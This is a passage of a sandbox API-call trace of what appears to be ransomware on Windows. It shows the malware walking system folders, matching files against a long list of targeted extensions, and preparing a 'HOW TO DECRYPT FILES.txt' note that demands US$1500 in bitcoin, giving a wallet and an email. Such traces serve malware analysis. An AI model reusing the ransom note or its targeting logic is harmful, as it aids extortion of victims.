(lpString="*.asm") returned 5 [0165.248] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.pfx") returned 0 [0165.248] lstrlenA (lpString="*.pfx") returned 5 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.pem") returned 0 [0165.249] lstrlenA (lpString="*.pem") returned 5 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.p12") returned 0 [0165.249] lstrlenA (lpString="*.p12") returned 5 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.gpg") returned 0 [0165.249] lstrlenA (lpString="*.gpg") returned 5 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.vsd") returned 0 [0165.249] lstrlenA (lpString="*.vsd") returned 5 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.odg") returned 0 [0165.249] lstrlenA (lpString="*.odg") returned 5 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.raw") returned 0 [0165.249] lstrlenA (lpString="*.raw") returned 5 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.nef") returned 0 [0165.249] lstrlenA (lpString="*.nef") returned 5 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.svg") returned 0 [0165.249] lstrlenA (lpString="*.svg") returned 5 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.psd") returned 0 [0165.249] lstrlenA (lpString="*.psd") returned 5 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.vmx") returned 0 [0165.249] lstrlenA (lpString="*.vmx") returned 5 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.vmdk") returned 0 [0165.249] lstrlenA (lpString="*.vmdk") returned 6 [0165.249] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.vdi") returned 0 [0165.250] lstrlenA (lpString="*.vdi") returned 5 [0165.250] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.lay6") returned 0 [0165.250] lstrlenA (lpString="*.lay6") returned 6 [0165.250] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.mpeg") returned 0 [0165.250] lstrlenA (lpString="*.mpeg") returned 6 [0165.250] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.djvu") returned 0 [0165.250] lstrlenA (lpString="*.djvu") returned 6 [0165.250] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.tiff") returned 0 [0165.250] lstrlenA (lpString="*.tiff") returned 6 [0165.250] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.backup") returned 0 [0165.250] lstrlenA (lpString="*.backup") returned 8 [0165.250] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.pdf") returned 0 [0165.250] lstrlenA (lpString="*.pdf") returned 5 [0165.250] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.cert") returned 0 [0165.250] lstrlenA (lpString="*.cert") returned 6 [0165.250] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.docm") returned 0 [0165.250] lstrlenA (lpString="*.docm") returned 6 [0165.251] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.xlsm") returned 0 [0165.251] lstrlenA (lpString="*.xlsm") returned 6 [0165.251] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.dwg") returned 0 [0165.251] lstrlenA (lpString="*.dwg") returned 5 [0165.251] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.nd") returned 0 [0165.251] lstrlenA (lpString="*.nd") returned 4 [0165.251] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.tlg") returned 0 [0165.251] lstrlenA (lpString="*.tlg") returned 5 [0165.251] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.lgb") returned 0 [0165.251] lstrlenA (lpString="*.lgb") returned 5 [0165.251] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.mov") returned 0 [0165.251] lstrlenA (lpString="*.mov") returned 5 [0165.251] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.xdw") returned 0 [0165.251] lstrlenA (lpString="*.xdw") returned 5 [0165.251] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.ods") returned 0 [0165.251] lstrlenA (lpString="*.ods") returned 5 [0165.251] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.wav") returned 0 [0165.251] lstrlenA (lpString="*.wav") returned 5 [0165.251] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.mp3") returned 0 [0165.251] lstrlenA (lpString="*.mp3") returned 5 [0165.252] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.aiff") returned 0 [0165.252] lstrlenA (lpString="*.aiff") returned 6 [0165.252] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.flac") returned 0 [0165.252] lstrlenA (lpString="*.flac") returned 6 [0165.252] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.m4a") returned 0 [0165.252] lstrlenA (lpString="*.m4a") returned 5 [0165.252] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.csv") returned 0 [0165.252] lstrlenA (lpString="*.csv") returned 5 [0165.252] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f1e6a00, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f1e6a00, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f20cb61, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b750, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MmcAspExt.dll", cAlternateFileName="MMCASP~1.DLL")) returned 0 [0165.252] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.252] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x111f9040, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x111f9040, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x111f9040, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25", cAlternateFileName="AM1E98~1.163")) returned 1 [0165.252] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25") returned -1 [0165.252] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25") returned -1 [0165.252] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.252] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25" [0165.252] lstrlenA (lpString="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25") returned 94 [0165.252] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x111f9040, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x111f9040, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x111f9040, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.254] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.254] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x111f9040, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x111f9040, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x111f9040, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.254] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.254] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.254] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb39ff8b2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb39ff8b2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x951c9ad3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xd1aa, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="aspnet.mof", cAlternateFileName="")) returned 1 [0165.254] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.254] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspnet.mof") returned 1 [0165.254] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspnet.mof") returned 1 [0165.254] lstrcmpiA (lpString1="", lpString2="aspnet.mof") returned -1 [0165.254] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\*.*") returned="*.*" [0165.254] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\" [0165.254] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\") returned="" [0165.254] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\HOW TO DECRYPT FILES.txt" [0165.254] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\how to decrypt files.txt")) returned 0xffffffff [0165.254] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.255] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.255] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.255] CloseHandle (hObject=0xffffffff) returned 0 [0165.255] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\", lpString2="aspnet.mof" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof" [0165.255] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.ems") returned 0 [0165.255] lstrlenA (lpString="*.ems") returned 5 [0165.255] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.db") returned 0 [0165.255] lstrlenA (lpString="*.db") returned 4 [0165.255] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.dbf") returned 0 [0165.255] lstrlenA (lpString="*.dbf") returned 5 [0165.255] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.myox") returned 0 [0165.255] lstrlenA (lpString="*.myox") returned 6 [0165.255] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.myo") returned 0 [0165.255] lstrlenA (lpString="*.myo") returned 5 [0165.255] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.qbw") returned 0 [0165.255] lstrlenA (lpString="*.qbw") returned 5 [0165.255] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.qbb") returned 0 [0165.255] lstrlenA (lpString="*.qbb") returned 5 [0165.255] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.qbm") returned 0 [0165.255] lstrlenA (lpString="*.qbm") returned 5 [0165.255] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.qbo") returned 0 [0165.255] lstrlenA (lpString="*.qbo") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.qbx") returned 0 [0165.256] lstrlenA (lpString="*.qbx") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.qba") returned 0 [0165.256] lstrlenA (lpString="*.qba") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.qby") returned 0 [0165.256] lstrlenA (lpString="*.qby") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.qbj") returned 0 [0165.256] lstrlenA (lpString="*.qbj") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.ofx") returned 0 [0165.256] lstrlenA (lpString="*.ofx") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.qif") returned 0 [0165.256] lstrlenA (lpString="*.qif") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.mye") returned 0 [0165.256] lstrlenA (lpString="*.mye") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.mbox") returned 0 [0165.256] lstrlenA (lpString="*.mbox") returned 6 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.eml") returned 0 [0165.256] lstrlenA (lpString="*.eml") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.pst") returned 0 [0165.256] lstrlenA (lpString="*.pst") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.ost") returned 0 [0165.256] lstrlenA (lpString="*.ost") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.idx") returned 0 [0165.256] lstrlenA (lpString="*.idx") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.dbx") returned 0 [0165.256] lstrlenA (lpString="*.dbx") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.sql") returned 0 [0165.256] lstrlenA (lpString="*.sql") returned 5 [0165.256] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.mdb") returned 0 [0165.256] lstrlenA (lpString="*.mdb") returned 5 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.fdb") returned 0 [0165.257] lstrlenA (lpString="*.fdb") returned 5 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.wab") returned 0 [0165.257] lstrlenA (lpString="*.wab") returned 5 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.dat") returned 0 [0165.257] lstrlenA (lpString="*.dat") returned 5 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.txt") returned 0 [0165.257] lstrlenA (lpString="*.txt") returned 5 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.jpeg") returned 0 [0165.257] lstrlenA (lpString="*.jpeg") returned 6 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.jpg") returned 0 [0165.257] lstrlenA (lpString="*.jpg") returned 5 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.png") returned 0 [0165.257] lstrlenA (lpString="*.png") returned 5 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.php") returned 0 [0165.257] lstrlenA (lpString="*.php") returned 5 [0165.257] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mof_b03f5f7f11d50a3a_6.1.7600.16385_none_3203082678824e25\\aspnet.mof", pszSpec="*.cs") returned 0 [0165.257] lstrlenA (lpString="*.cs") returned 4 [0165.257] PathMatchSpecA 